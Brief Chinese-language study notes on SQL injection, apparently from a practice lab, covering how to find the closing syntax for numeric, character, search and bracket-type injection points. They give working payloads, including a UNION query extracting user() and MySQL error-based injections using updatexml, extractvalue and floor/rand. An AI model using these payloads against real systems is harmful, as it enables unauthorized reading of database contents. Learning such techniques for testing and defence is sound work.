閉合條件的探測
數字型注入
- burp抓包
- 分別測試 id=1 and 1=1和id=1 or 1=1
- 存在漏洞
字符型注入
- ’ 報錯
- 探測閉合條件 ’ order by 1# 未報錯.構成閉合
- 同上有兩處查詢信息
搜索型
xx型
- 先構造’ xx#
- 根據報錯很容易寫出閉合
- payload ')union select user(),user()#
漏洞利用
-
UNION 聯合查詢
-
基於報錯的注入
MySQL顯錯式注入updatexml函數
select * from message where id =1 and updatexml(1, concat(0x7c,(select @@version)),1);
evtractvalue()函數
select * from message where id =1 and extractvalue(1, concat(0x7c,(select user())));
floor函數
select * from message where id = 1 union select * from (select count(*) , concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b